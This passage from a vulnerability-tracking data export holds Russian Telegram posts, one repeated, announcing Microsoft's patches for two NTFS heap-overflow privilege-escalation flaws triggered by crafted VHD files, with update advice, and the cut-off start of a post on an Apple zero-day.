\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.298231Z"}, {"uuid": "56fb62ea-eb77-456b-a6f7-98be2af88040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.339532Z"}, {"uuid": "af906520-f54d-4c30-b04b-5d92ef683507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/cult_security/1243", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20700, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 